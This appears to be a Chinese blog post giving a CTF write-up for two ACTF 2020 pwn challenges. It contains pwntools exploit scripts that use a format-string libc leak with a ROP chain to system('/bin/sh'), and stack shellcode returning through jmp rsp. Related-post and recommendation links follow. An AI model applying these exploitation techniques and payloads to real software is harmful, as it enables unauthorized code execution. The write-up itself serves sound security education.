为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的。反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用爱发电。

Check_rop

  题目保护如下:

  可以看到开启了FORTIFY保护。

  FORTIFY技术是 gcc 在编译源码的时候会判断程序哪些buffer会存在 可能的溢出,在 buffer 大小已知的情况下,GCC 会把 strcpy,memcpy 这类函数自动替换成相应的 __strcpy_chk(dst, src, dstlen)等函数。

  FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。

  函数的read是自己写的,存在漏洞。

  当使用这个函数进行输入的时候,如果参数2即a2==0,就可以进行溢出。

  思路:先利用格式化字符串泄露libc地址,这里需要本地调一下偏移算出基地址,然后就是基本的溢出了。

 1 from pwn import *
2
3 p = process('./chk_rop')
4 libc = ELF('./libc.so.6')
5 context.log_level = 'debug'
6
7 p.sendafter('gift...\n','%p%p')
8 p.recv(3)
9 libc_base = int(p.recv(14),16)-1012512
10 print 'libc_base-->'+hex(libc_base)
11 system = libc_base+libc.symbols['system']
12 binsh = libc_base+libc.search('/bin/sh').next()
13 pop_rdi = 0x004009d3
14
15 p.sendafter('filename\n','a'*0x10)
16 payload = 'a'*0x50+'bbbbbbbb'+p64(pop_rdi)
17 payload += p64(binsh)+p64(system)
18 p.sendlineafter('content:\n',payload)
19 p.interactive()

shellcode

  程序有这个一个gadgets。

  栈中输入shellcode,然后返回地址覆盖成这个地址就可以了。需要注意的是,用pwntools自带的shellcode会超出可以写的长度,所以百度搜了一个64位程序比较短的shellcode。

 1 from pwn import *
2
3 p = process('./shellcode')
4 elf = ELF('./shellcode')
5 context(os='linux',arch='amd64',log_level='debug')
6
7 jmp_rsp = 0x0040070B
8 shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
9 print len(shellcode)
10
11 payload = shellcode.ljust(0x20,'\x00')+'bbbbbbbb'+p64(jmp_rsp)+p64(jmp_rsp)
12 p.sendafter('0day!\n',payload)
13 p.interactive()

未完

2020ACTF pwn writeup的更多相关文章

  1. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  2. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  3. ISCC2018 Reverse & Pwn writeup

    Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...

  4. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  5. NepCTF pwn writeup

    上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...

  6. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

  7. HGAME2021 week3 pwn writeup

    一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...

  8. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

  9. HGAME2021 week2 pwn writeup

    week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...

随机推荐

  1. Study Blazor .NET(二)安装

    翻译自:Study Blazor .NET,转载请注明. 安装 请根据下面步骤安装开始使用Blazor: 1.针对不同的操作系统,安装最新版.Net Core框架 [这里] 2.用.Net Core ...

  2. 使用 kubeadm 部署

    上一章中,我们用 minikube 去搭建单机集群,并且创建 Deployment.Service(在三章中讲解),本篇将介绍利用 kubeadm 部署多节点集群,并学会 安装以及使用 kuberne ...

  3. AOP实现方式二

    applicationContext.xml <!--方法二 自定义类--> <bean id="diyPointCut" class="com.sha ...

  4. java及python调用RabbitMQ

    1,python调用MQ发送消息(生产者),话不多说,直接上干货 import pika 如下图 2.java调用MQ发送消息(生产者) 具体代码如下: python 的代码如下 connection ...

  5. Redis 很屌,不懂使用规范就糟蹋了

    这可能是最中肯的 Redis 使用规范了 码哥,昨天我被公司 Leader 批评了. 我在单身红娘婚恋类型互联网公司工作,在双十一推出下单就送女朋友的活动. 谁曾想,凌晨 12 点之后,用户量暴增,出 ...

  6. Python基础之流程控制if判断

    目录 1. 语法 1.1 if语句 1.2 if...else 1.3 if...elif...else 2. if的嵌套 3. if...else语句的练习 1. 语法 1.1 if语句 最简单的i ...

  7. Linux实现批量添加用户及随机密码小脚本

    通过chpasswd命令可实现迅速为用户批量设置密码     实例:写一个脚本,实现批量添加20个用户user1-20,密码为用户名和后面跟5个随机字符 #!/bin/sh # 思路:通过for循环, ...

  8. 17.Power of Four-Leetcode

    #define IMIN numeric_limits<int>::min() #define IMAX numeric_limits<int>::max() class So ...

  9. 巩固javaweb第十三天

    巩固内容: HTML 表格 表格由 <table> 标签来定义.每个表格均有若干行(由 <tr> 标签定义),每行被分割为若干单元格(由 <td> 标签定义).字母 ...

  10. 生产调优1 HDFS-核心参数

    目录 1 HFDS核心参数 1.1 NameNode 内存生产配置 问题描述 hadoop-env.sh中配置 1.2 NameNode 心跳并发配置 修改hdfs-site.xml配置 1.3 开启 ...